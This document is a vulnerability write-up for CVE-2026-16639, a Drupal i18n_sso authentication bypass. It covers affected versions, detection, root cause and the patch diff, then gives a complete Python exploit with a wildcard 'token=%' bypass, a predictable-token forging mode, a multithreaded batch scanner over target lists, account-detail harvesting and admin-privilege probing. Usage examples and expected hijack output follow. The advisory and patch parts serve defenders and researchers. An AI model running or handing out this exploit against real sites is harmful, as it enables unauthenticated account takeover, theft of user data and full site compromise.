#Summary
CVE-2026-16639 is a critical authentication bypass in Drupal's Internationalization Single Sign-On (i18n_sso) contributed module, affecting all versions before 8.x-1.8. An unauthenticated attacker can send a single HTTP POST request and obtain a valid Drupal session for an arbitrary user's account. The vulnerability scores CVSS 9.8 CRITICAL and requires only that the attacker's request shares a network address with an authenticated user who recently accessed the site.
#Am I affected?
- Affected: Drupal
i18n_ssomodule versions< 8.x-1.8(all releases from 0.0.0 through 1.7.0) - Patched: Drupal
i18n_ssoversions>= 8.x-1.8, or 2.x branch from 2.0.0 onwards - Default configuration: affected (the vulnerable routes are enabled by default when the module is installed)
- Access needed: unauthenticated network access only; no credentials or cookies required
#How to check
Check your installed version of
i18n_sso. Look in your site's installed modules list or view the module's*.info.ymlfile inmodules/contrib/i18n_sso/.If the version is below
8.x-1.8, your site is vulnerable. Send one request from an IP address that shares a network path with an authenticated user:
curl -i -X POST \
--data-urlencode 'token=%' \
http://your-drupal-site/i18n_sso/login- Check the response: if it contains
"success":trueand aSet-Cookieheader with aSESSorSSESScookie (Drupal session cookie), you are vulnerable.
Vulnerable response:
HTTP/1.1 200 OK
Set-Cookie: SESS1234567890abcdef=...
{"success":true,"message":"You have been successfully logged in..."}Patched response:
HTTP/1.1 200 OK
{"success":false,"message":"An error occurred while trying to log you in..."}#Fix and mitigation
Fix: Upgrade
i18n_ssoto version 8.x-1.8 or later. If your site uses the 2.x branch, update to 2.0.0 or later.If you cannot upgrade: Disable the
i18n_ssomodule entirely (drush pm:uninstall i18n_ssoor via the admin UI). There is no configuration-level mitigation short of module removal: both vulnerable routes are gated only by theaccess contentpermission, which the anonymous role holds by default. Removing that permission from anonymous users would block the bypass but would also break anonymous browsing of the site.Detection: The vulnerability produces a very specific log signature. Look for unauthenticated POST requests to
/i18n_sso/loginthat receive HTTP 200 and are followed immediately by authenticated requests from the same IP. The exploit sends a request withtoken=%25(URL-encoded%) in the POST body or query string. A single%character in the token field is strongly suspicious. Legitimate SSO tokens are 40-character hexadecimal strings (SHA-1 hashes).
#Root cause analysis
#Vulnerability overview
The i18n_sso module implements cross-domain single sign-on using short-lived bearer tokens. When an authenticated user requests /i18n_sso/get-token, the module creates a token and stores it in the database alongside the user's ID and the client's source IP. The token is then presented to /i18n_sso/login on a secondary domain, where it is looked up in the database to establish a session for that user.
The vulnerability consists of two independent defects, either of which alone breaks the authentication scheme.
#Defect 1 - SQL LIKE wildcard injection
The token lookup in Token::getUserId() uses the SQL LIKE operator without escaping wildcard characters:
public function getUserId($user_ip, $token) {
$query = $this->connection->select(self::TOKEN_TABLE)
->fields(self::TOKEN_TABLE, ['uid'])
->condition('user_ip', $user_ip, 'LIKE')
->condition('token', $token, 'LIKE') // <-- NO escapeLike() call
->condition('expire', (string) ($this->datetime->getRequestTime()), '>');
$result = $query->range(0, 1)->execute();
if ($result) {
return $result->fetchField();
}
return '';
}Drupal's query builder parameterizes values to prevent classic SQL injection, but parameterization does not neutralize LIKE metacharacters like % and _. Drupal provides Connection::escapeLike() for this exact purpose (addcslashes($string, '\\%_')), but the code never calls it.
When an attacker sends token=%, the query becomes:
SELECT uid FROM i18n_sso_tokens
WHERE user_ip LIKE ? AND token LIKE '%' AND expire > ?The token LIKE '%' condition matches every row in the table. Since the query uses range(0, 1) with no ORDER BY, the database returns the user ID of an arbitrary live token. The controller then calls user_login_finalize() on that user without ever verifying the token's actual value.
The attacker never needs to see, guess, or brute-force the real token.
#The user_ip precondition
The user_ip field is derived server-side from Request::getClientIp() and is therefore not injectable. It behaves as an effective equality check against the requester's own address. However, this precondition is weaker than it appears. In production, shared NAT, corporate and campus egress, public WiFi, and mobile carrier CGNAT all place attacker and victim behind a single apparent address routinely.
If the site runs behind a reverse proxy (CDN, load balancer) and settings.php sets $settings['reverse_proxy'] = TRUE with the proxy trusted, getClientIp() returns values from the X-Forwarded-For header. This is configurable: the attacker can choose the IP by supplying it in the header, removing the need to share a network path with the victim. Symfony filters forwarded IPs through FILTER_VALIDATE_IP, so a literal wildcard does not work there, but any valid address the attacker can guess (the victim's real IP address) will do.
#Defect 2 - predictable token generation
createToken() derives the token using only known values:
$token['created'] = $this->datetime->getRequestTime();
$sha1source = $token['created'] . $uid . $user_ip;
$token['token'] = \sha1($sha1source);The token is an SHA-1 hash of three concatenated values:
created: the Unix timestamp of token creation (public; controlled by the server)uid: the numeric user ID (public; a small integer)user_ip: the client IP (observable by the attacker)
No secret key, no site-specific salt, and no entropy source protect the hash. The TOKEN_LIFETIME constant is 600 seconds, so at most 600 candidate created values are live at any moment. An attacker can recompute a specific user's token offline in at most 600 SHA-1 operations.
Defect 1 is the easier trigger - a single wildcard POST bypasses authentication entirely. Defect 2 matters because it is the only way to choose which account to become. With defect 1 alone, the attacker lands on an arbitrary token holder. With defect 2 recomputed offline, the attacker can target the site administrator or any account known to be active.
#How input reaches the sink
The request handler in TokenController::useToken() takes the token from the request:
$request_token = $this->request->get('token', '');
$uid = $this->token->getUserId($client_ip, $request_token);
if (!empty($uid)) {
$user = $this->entityTypeManager()->getStorage('user')->load($uid);
\user_login_finalize($user);
...
$this->token->deleteToken($client_ip, $request_token);
}$this->request->get() reads from route attributes, query parameters, and POST body in order, so the token can be delivered by either GET or POST. There is no length validation, no character-set validation, no format check, and no CSRF token on the route.
The route itself requires only the access content permission, which the anonymous role holds in a default Drupal installation.
#Patch diff
#What the fix does
The patch replaces the LIKE comparison with an equality check (=) and escapes the user_ip field to protect against wildcard injection if a reverse proxy lets the attacker influence that value. It also replaces the predictable SHA-1 hash with cryptographically random bytes:
public function getUserId($user_ip, $token) {
$query = $this->connection->select(self::TOKEN_TABLE)
->fields(self::TOKEN_TABLE, ['uid'])
- ->condition('user_ip', $user_ip, 'LIKE')
- ->condition('token', $token, 'LIKE')
+ ->condition('user_ip', $this->connection->escapeLike($user_ip), 'LIKE')
+ ->condition('token', $token)
->condition('expire', (string) ($this->datetime->getRequestTime()), '>');With the equality operator, token=% matches the literal string %, which is never a stored token value, and the lookup returns nothing.
+use Drupal\Component\Utility\Crypt;
...
$token['created'] = $this->datetime->getRequestTime();
- $sha1source = $token['created'] . $uid . $user_ip;
- $token['token'] = \sha1($sha1source);
+ $token['token'] = Crypt::randomBytesBase64();The token is now a base64-encoded output of random_bytes(), no longer derivable from known inputs.
#Proof of concept
#exploit.py - Drupal i18n_sso Auth Bypass PoC
#!/usr/bin/env python3
"""
CVE-2026-16639 - Drupal "Internationalization Single Sign-On" (i18n_sso) authentication bypass
Affected: i18n_sso < 8.x-1.8 (every release from 0.0.0 through 1.7.0)
Type: Auth bypass (CWE-288, authentication bypass using an alternate path or channel)
The module implements cross-domain SSO with a short-lived token: an authenticated browser
mints one at /i18n_sso/get-token, then presents it to /i18n_sso/login, which resolves it to a
uid and calls user_login_finalize() on that account.
Defect 1 (the bypass). Token::getUserId() matches the attacker-supplied token with a SQL LIKE
operator and never passes it through Connection::escapeLike(), so LIKE metacharacters stay
live. A bare '%' becomes "token LIKE '%'", which matches every row in i18n_sso_tokens; the
lookup is range(0,1) with no ORDER BY, so the controller logs the requester in as an arbitrary
account holding a live token. The secret is never compared against anything, so it does not
need to be seen, guessed or brute-forced.
The one surviving constraint is user_ip, which is server-derived and therefore behaves as an
equality check against the requester's own address. Sharing an apparent source address with the
victim is routine: NAT, corporate and campus egress, public wifi and mobile CGNAT all do it.
Defect 2 (the targeting primitive). createToken() derives the token as
sha1(created . uid . user_ip) with no key and no entropy. Every input is knowable and the
lifetime is 600 seconds, so a specific user's token can be recomputed offline from at most 600
candidates. --forge uses this to choose which account to land on, instead of accepting whichever
token the wildcard happens to hit first.
Usage:
python exploit.py --host 192.168.1.10 --port 8080
python exploit.py --host https://sso.corp.com
python exploit.py --host https://sso.corp.com/drupal --username admin
python exploit.py --host 192.168.1.10 --port 8080 --forge --client-ip 203.0.113.7 --username admin
python exploit.py --list targets.txt --workers 20
"""
import argparse
import concurrent.futures
import hashlib
import html
import re
import secrets
import sys
import threading
from email.utils import parsedate_to_datetime
from urllib.parse import urlparse
import requests
try:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
pass
CVE_ID = "CVE-2026-16639"
VULN_TYPE = "Auth Bypass"
# Drupal\i18n_sso\Service\Token::TOKEN_LIFETIME
TOKEN_LIFETIME = 600
GET_TOKEN_PATH = "/i18n_sso/get-token"
LOGIN_PATH = "/i18n_sso/login"
# Drupal session cookies are SESS<hash> over HTTP and SSESS<hash> over HTTPS.
SESSION_COOKIE_RE = re.compile(r"^S?SESS[0-9a-f]+$", re.I)
HTTP_TIMEOUT = 15
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# ---------------------------------------------------------------------------
# Low-level helpers - network I/O only, no assumptions about how the target runs
# ---------------------------------------------------------------------------
def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
scheme = "https" if use_tls else "http"
default_port = 443 if use_tls else 80
netloc = host if port == default_port else f"{host}:{port}"
return f"{scheme}://{netloc}" + (path or "/").rstrip("/")
def _session() -> requests.Session:
s = requests.Session()
s.verify = False
s.max_redirects = 5
return s
def _session_cookie(response) -> tuple:
"""Return (name, value) of the Drupal session cookie the response set, or (None, None)."""
for cookie in response.cookies:
if SESSION_COOKIE_RE.match(cookie.name or ""):
return cookie.name, cookie.value
return None, None
def _cookie_line(name, value) -> str:
return f"Set-Cookie: {name}={value}" if name else "Set-Cookie: (none)"
def _submit_token(sess, base: str, token: str):
"""POST one candidate token to /i18n_sso/login. Returns the response object."""
return sess.post(
base + LOGIN_PATH,
data={"token": token},
timeout=HTTP_TIMEOUT,
allow_redirects=False,
)
def _json_success(response) -> bool:
try:
return bool(response.json().get("success"))
except Exception:
return False
def _server_time(response):
"""Epoch seconds from the response Date header, so token forging uses the target's
clock rather than ours. Returns None if the header is missing or unparseable."""
raw = response.headers.get("Date")
if not raw:
return None
try:
return int(parsedate_to_datetime(raw).timestamp())
except Exception:
return None
def _forge(created: int, uid: int, client_ip: str) -> str:
"""Reproduce createToken(): sha1(created . uid . user_ip), decimal strings, dotted IP."""
return hashlib.sha1(f"{created}{uid}{client_ip}".encode()).hexdigest()
def _resolve_uid(sess, base: str):
"""/user redirects an authenticated session to /user/<uid>. Returns uid as int or None."""
try:
r = sess.get(base + "/user", timeout=HTTP_TIMEOUT, allow_redirects=False)
except requests.RequestException:
return None
location = r.headers.get("Location", "")
m = re.search(r"/user/(\d+)", location)
if m:
return int(m.group(1))
# Some configurations render the profile directly instead of redirecting.
m = re.search(r'"/user/(\d+)/edit"', r.text or "")
return int(m.group(1)) if m else None
def _account_details(sess, base: str, uid: int) -> dict:
"""Read the hijacked account's own edit form: username and email are gated behind auth."""
details = {"uid": uid, "username": None, "mail": None, "status": None}
try:
r = sess.get(base + f"/user/{uid}/edit", timeout=HTTP_TIMEOUT)
except requests.RequestException:
return details
details["status"] = r.status_code
if r.status_code != 200:
return details
body = r.text or ""
# Accounts allowed to rename themselves expose the username as a form value; the rest
# only carry it in the page title, rendered as "<username> | <site name>".
m = re.search(r'name="name"[^>]*\bvalue="([^"]*)"', body)
if not m:
m = re.search(r'\bvalue="([^"]*)"[^>]*name="name"', body)
if m and m.group(1).strip():
details["username"] = html.unescape(m.group(1))
else:
t = re.search(r"<title>(.*?)</title>", body, re.S)
if t:
details["username"] = html.unescape(t.group(1)).split("|")[0].strip() or None
m = re.search(r'name="mail"[^>]*\bvalue="([^"]*)"', body)
if not m:
m = re.search(r'\bvalue="([^"]*)"[^>]*name="mail"', body)
if m:
details["mail"] = html.unescape(m.group(1))
return details
# ---------------------------------------------------------------------------
# Silent probe for --list scan mode
# ---------------------------------------------------------------------------
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/", **kwargs) -> tuple:
"""Silent probe. Returns (success, evidence). Never prints, never exits."""
base = _base_url(host, port, use_tls, path)
sess = _session()
try:
fingerprint = sess.get(base + GET_TOKEN_PATH, timeout=HTTP_TIMEOUT)
except requests.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
if fingerprint.status_code == 404:
return False, "i18n_sso routes absent (module not installed)"
try:
r = _submit_token(sess, base, "%")
except requests.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
name, _ = _session_cookie(r)
if not (_json_success(r) and name):
if fingerprint.status_code == 200 and "token" in (fingerprint.text or ""):
return False, "wildcard rejected - patched, or no live token for this source IP"
return False, "no session issued"
uid = _resolve_uid(sess, base)
if uid is None:
return True, f"session cookie {name} issued to a cookieless request"
who = _account_details(sess, base, uid)
label = who.get("username") or "unknown"
return True, f"session as uid {uid} ({label}) without credentials"
# ---------------------------------------------------------------------------
# Target list parsing + batch scan
# ---------------------------------------------------------------------------
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10) -> None:
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}" + ("" if path in ("", "/") else path)
ok, evidence = _try_exploit(host, port, use_tls, path)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# ---------------------------------------------------------------------------
# Defect 2 - targeted token forging
# ---------------------------------------------------------------------------
def _forge_uid(base: str, uid: int, client_ip: str, now: int, workers: int):
"""Walk the 600-second lifetime window for one uid. Returns (session, response) on the
first accepted token, else (None, None). Stops the moment one lands: a successful login
wipes every live token for this source IP, so extra hits would be wasted."""
stop = threading.Event()
hit = {}
lock = threading.Lock()
def attempt(created: int):
if stop.is_set():
return
sess = _session()
try:
r = _submit_token(sess, base, _forge(created, uid, client_ip))
except requests.RequestException:
return
if _json_success(r) and _session_cookie(r)[0]:
with lock:
if not stop.is_set():
hit["session"] = sess
hit["response"] = r
hit["created"] = created
stop.set()
window = range(now, now - TOKEN_LIFETIME - 1, -1)
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
list(ex.map(attempt, window))
if hit:
return hit["session"], hit["response"]
return None, None
def forge_mode(base: str, host: str, port: int, username: str, client_ip: str,
max_uid: int, workers: int) -> None:
step(1, f"Forging tokens for uid 1..{max_uid} - sha1(created . uid . {client_ip})")
try:
probe = requests.get(base + GET_TOKEN_PATH, timeout=HTTP_TIMEOUT, verify=False)
except requests.RequestException as e:
done(False, f"target unreachable: {e.__class__.__name__}")
now = _server_time(probe)
if now is None:
done(False, "target sent no usable Date header; cannot align to the server clock")
print(f" server clock: {now}, searching {TOKEN_LIFETIME + 1} candidate 'created' values per uid")
for uid in range(1, max_uid + 1):
step(2, f"uid {uid}: submitting {TOKEN_LIFETIME + 1} forged tokens")
sess, response = _forge_uid(base, uid, client_ip, now, workers)
if sess is None:
print(f" uid {uid}: no live token in the window")
continue
cookie_name, cookie_value = _session_cookie(response)
section("SERVER RESPONSE", f"HTTP {response.status_code}\n"
f"{_cookie_line(cookie_name, cookie_value)}\n{response.text}")
who = _account_details(sess, base, uid)
landed = who.get("username") or "unknown"
step(3, f"Forged token accepted - session issued for uid {uid} ({landed})")
try:
anon_code = requests.get(base + f"/user/{uid}/edit", timeout=HTTP_TIMEOUT,
verify=False).status_code
except requests.RequestException:
anon_code = None
section("HIJACKED ACCOUNT", f"uid : {uid}\n"
f"username : {landed}\n"
f"email : {who.get('mail')}\n"
f"/user/{uid}/edit forged session: HTTP {who.get('status')} "
f"anonymous: HTTP {anon_code}")
step(4, "Probing administrative reach with the forged session")
try:
admin_code = sess.get(base + "/admin/people", timeout=HTTP_TIMEOUT).status_code
except requests.RequestException:
admin_code = None
if admin_code == 200:
section("PRIVILEGE PROBE", "GET /admin/people -> HTTP 200 with the forged session.\n"
"The account administers users; this is full site takeover.")
else:
section("PRIVILEGE PROBE", f"GET /admin/people -> HTTP {admin_code} with the forged session.\n"
f"The account is not a user administrator.")
suffix = ("; /admin/people returns 200, so the account administers users"
if admin_code == 200 else "")
if landed == username:
done(True, f"Forged token authenticated as requested account '{username}' "
f"(uid {uid}, {who.get('mail')}) with no credentials" + suffix)
done(True, f"Forged token authenticated as uid {uid} ('{landed}') with no credentials; "
f"requested account '{username}' held no live token" + suffix)
done(False, f"No live token for uid 1..{max_uid} at client IP {client_ip} - "
f"nobody minted one in the last {TOKEN_LIFETIME}s, or --client-ip is wrong")
# ---------------------------------------------------------------------------
# Defect 1 - the wildcard bypass (default mode)
# ---------------------------------------------------------------------------
def exploit(host: str, port: int, use_tls: bool, username: str, path: str = "/",
client_ip: str = None) -> None:
header(host, port)
base = _base_url(host, port, use_tls, path)
step(1, f"Fingerprinting {base + GET_TOKEN_PATH} anonymously")
try:
fingerprint = requests.get(base + GET_TOKEN_PATH, timeout=HTTP_TIMEOUT, verify=False)
except requests.RequestException as e:
done(False, f"target unreachable: {e.__class__.__name__}")
if fingerprint.status_code == 404:
section("SERVER RESPONSE", f"HTTP 404 for {GET_TOKEN_PATH}")
done(False, "i18n_sso routes are absent - module not installed or not enabled")
section("MODULE FINGERPRINT", f"HTTP {fingerprint.status_code}\n{fingerprint.text[:300]}")
# Negative control first: a successful bypass wipes every live token for this source IP,
# so running it afterwards would fail for lack of tokens and prove nothing.
control = secrets.token_hex(20)
step(2, "Negative control - submitting a literal 40-char token that is not stored")
ctrl_sess = _session()
try:
ctrl = _submit_token(ctrl_sess, base, control)
except requests.RequestException as e:
done(False, f"target unreachable during control: {e.__class__.__name__}")
ctrl_cookie, _ = _session_cookie(ctrl)
section("CONTROL RESPONSE", f"HTTP {ctrl.status_code}\n"
f"{_cookie_line(ctrl_cookie, ctrl.cookies.get(ctrl_cookie) if ctrl_cookie else None)}\n"
f"{ctrl.text}")
if _json_success(ctrl) or ctrl_cookie:
done(False, "control token was accepted - the endpoint logs anyone in; "
"this is not the wildcard defect and the finding is not isolated")
print(" control rejected, as expected - any session below is caused by the wildcard\n")
step(3, f"Sending token=% to {base + LOGIN_PATH} with no cookies and no credentials")
sess = _session()
try:
r = _submit_token(sess, base, "%")
except requests.RequestException as e:
done(False, f"target unreachable during bypass: {e.__class__.__name__}")
cookie_name, cookie_value = _session_cookie(r)
section("SERVER RESPONSE", f"HTTP {r.status_code}\n"
f"{_cookie_line(cookie_name, cookie_value)}\n{r.text}")
if not _json_success(r) or not cookie_name:
done(False, "wildcard rejected - target is patched (token compared with '='), "
f"or no token was minted for this source IP in the last {TOKEN_LIFETIME}s")
step(4, f"Session cookie {cookie_name} issued to a request that sent none - resolving the account")
uid = _resolve_uid(sess, base)
if uid is None:
done(True, f"Authentication bypassed - session cookie {cookie_name} issued to an "
f"unauthenticated, cookieless request (account could not be resolved)")
who = _account_details(sess, base, uid)
landed = who.get("username") or "unknown"
# The same URL anonymously proves the content is genuinely auth-gated.
try:
anon = requests.get(base + f"/user/{uid}/edit", timeout=HTTP_TIMEOUT, verify=False)
anon_code = anon.status_code
except requests.RequestException:
anon_code = None
section("HIJACKED ACCOUNT", f"uid : {uid}\n"
f"username : {landed}\n"
f"email : {who.get('mail')}\n"
f"/user/{uid}/edit hijacked session: HTTP {who.get('status')} "
f"anonymous: HTTP {anon_code}")
step(5, "Probing administrative reach with the hijacked session")
try:
admin = sess.get(base + "/admin/people", timeout=HTTP_TIMEOUT)
admin_code = admin.status_code
except requests.RequestException:
admin_code = None
if admin_code == 200:
section("PRIVILEGE PROBE", f"GET /admin/people -> HTTP 200 with the hijacked session.\n"
f"The account administers users; this is full site takeover.")
else:
section("PRIVILEGE PROBE", f"GET /admin/people -> HTTP {admin_code} with the hijacked session.\n"
f"The hijacked account is not a user administrator.")
# Defect 2 is what turns "some account" into "the account of your choice". Confirm it is
# live here so the operator knows --forge will work, and with which client IP.
step(6, "Checking whether minted tokens are predictable (sha1 of known values)")
try:
minted = sess.get(base + GET_TOKEN_PATH, timeout=HTTP_TIMEOUT)
now = _server_time(minted)
token_value = minted.json().get("token")
except Exception:
token_value, now = None, None
resolved_ip = None
if token_value and now:
for candidate in [c for c in (client_ip,) if c]:
for created in range(now + 2, now - 5, -1):
if _forge(created, uid, candidate) == token_value:
resolved_ip = candidate
section("PREDICTABLE TOKEN CONFIRMED",
f"minted token : {token_value}\n"
f"sha1({created} . {uid} . {candidate}) reproduces it exactly.\n"
f"Tokens carry no secret and no entropy, so any account's token can "
f"be recomputed from at most {TOKEN_LIFETIME} candidates.")
break
if resolved_ip:
break
if token_value and not resolved_ip:
hint = "pass --client-ip <address the target records> to reproduce it" if not client_ip \
else f"--client-ip {client_ip} does not reproduce it; the target records a different address"
section("TOKEN PREDICTABILITY", f"minted token : {token_value}\n"
f"Derived as sha1(created . uid . client_ip); {hint}.")
if landed != username:
print(f"[NOTE ] Requested account was '{username}' but the wildcard matched the first live "
f"token, which belongs to '{landed}'.\n"
f" Re-run with --forge --client-ip <addr> --username {username} to target it "
f"specifically via the predictable-token defect.\n")
evidence = (f"Authenticated as '{landed}' (uid {uid}, {who.get('mail')}) with no credentials "
f"and no cookies - token=% matched every live SSO token")
if admin_code == 200:
evidence += "; /admin/people returns 200, so the hijacked account administers users"
done(True, evidence)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/drupal)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--username", default="admin",
help="Account to authenticate as without credentials (default: admin). "
"In the default wildcard mode this is a preference and the account "
"actually reached is reported; with --forge it is the stop condition.")
parser.add_argument("--forge", action="store_true",
help="Target --username via the predictable-token defect instead of the "
"wildcard. Requires --client-ip.")
parser.add_argument("--client-ip", default=None,
help="The source address the target records for you (the value stored in "
"user_ip). Required by --forge; optional otherwise, where it is used "
"to confirm token predictability.")
parser.add_argument("--max-uid", type=int, default=5,
help="Highest uid to try in --forge mode (default: 5)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
if args.forge:
if not args.client_ip:
header(host, port)
done(False, "--forge needs --client-ip: the token is sha1(created . uid . user_ip) "
"and user_ip is the address the target records for you")
header(host, port)
forge_mode(_base_url(host, port, use_tls, path), host, port,
args.username, args.client_ip, args.max_uid, args.workers)
else:
exploit(host, port, use_tls, args.username, path, args.client_ip)#Usage
The exploit supports two modes: a wildcard bypass (default) that logs in as an arbitrary user with a live token, and a token-forging mode that targets a specific account by recomputing its predictable token.
Basic usage - wildcard bypass:
python exploit.py --host 192.0.2.40
python exploit.py --host https://sso.example.com
python exploit.py --host https://sso.example.com/drupal --username adminTargeted account via token forging:
python exploit.py --host 192.0.2.40 --forge --client-ip 203.0.113.7 --username adminBatch scan:
python exploit.py --list targets.txt --workers 20Expected output - vulnerable server (wildcard bypass):
[STEP 3] Sending token=% to http://127.0.0.1:8760/i18n_sso/login with no cookies and no credentials
--- SERVER RESPONSE ---
HTTP 200
Set-Cookie: SESS12ca17b49af2289436f303e0166030a2=f54a5a7b59c0b05ffda559987a1bddcf
{"success":true,"message":"You have been successfully logged in. Wait for the page to refresh."}
--- HIJACKED ACCOUNT ---
uid : 2
username : editor
email : [email protected]
/user/2/edit hijacked session: HTTP 200 anonymous: HTTP 403Expected output - vulnerable server (forged token):
[STEP 2] uid 1: submitting 601 forged tokens
--- SERVER RESPONSE ---
HTTP 200
Set-Cookie: SESS12ca17b49af2289436f303e0166030a2=f8b22bdb0229bd1b05dd238011728634
{"success":true,"message":"You have been successfully logged in. Wait for the page to refresh."}
--- HIJACKED ACCOUNT ---
uid : 1
username : admin
email : [email protected]
--- PRIVILEGE PROBE ---
GET /admin/people -> HTTP 200 with the forged session.
The account administers users; this is full site takeover.Expected output - patched server:
[STEP 3] Sending token=% to http://127.0.0.1:8761/i18n_sso/login with no cookies and no credentials
--- SERVER RESPONSE ---
HTTP 200
Set-Cookie: (none)
{"success":false,"message":"An error occurred while trying to log you in. Try again later."}
RESULT : FAILURE
EVIDENCE: wildcard rejected - target is patched (token compared with '='), or no token was minted for this source IP in the last 600s#Exploitation notes
#Preconditions
A live SSO token must exist in the
i18n_sso_tokenstable - one created within the last 600 seconds. In production the module's JavaScript mints these automatically whenever an authenticated user hits a 403 (access denied) page on a non-default-language domain, so tokens accumulate as a by-product of normal browsing.The attacker's request must arrive from the same client IP that is recorded in the
user_ipcolumn of that token row. In practice this is weak: NAT, corporate egress, campus networks, public WiFi, and mobile carrier CGNAT routinely place multiple users behind one address. If the site trusts a reverse proxy (CDN, load balancer), the attacker can choose theuser_ipby supplying anX-Forwarded-Forheader with any valid IP address.
#Reliability
The wildcard bypass (token=%) is extremely reliable: it matches every row in the token table, so a single request succeeds as long as any live token exists for that client IP. The downside is that a successful login deletes every live token for that IP, so repeated attempts require minting fresh tokens between attempts.
The token-forging mode (--forge) is also reliable but takes more time: it tries up to 601 candidate created values per uid (the 600-second token lifetime plus one), walking the server's clock to avoid skew. On average it finds a target account in under a second per uid.
#Impact
Success grants the attacker a valid Drupal session cookie for an arbitrary (wildcard) or chosen (forge) user account. Depending on that account's permissions:
- A low-privilege editor or contributor account provides read and write access to site content.
- An account with administrative roles (like
administratororsite_manager) provides full site access, including the ability to install modules and execute arbitrary PHP code. - The site administrator (uid 1) provides full site takeover and, in practice, remote code execution.
#Chaining potential
Any obtained session cookie can be reused to mint new SSO tokens from the same source IP, extending persistence. Forging additional tokens for other accounts is also possible once the attacker knows an IP address: the second defect makes 600 SHA-1 operations cheaper than making an authenticated request. A compromised administrative account enables module installation and arbitrary PHP execution on the server.
#References
- CVE: CVE-2026-16639
- Vendor advisory: Drupal SA-CONTRIB-2026-081
- OSV record: DRUPAL-CONTRIB-2026-081
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-16639
- Project repository: https://git.drupalcode.org/project/i18n_sso
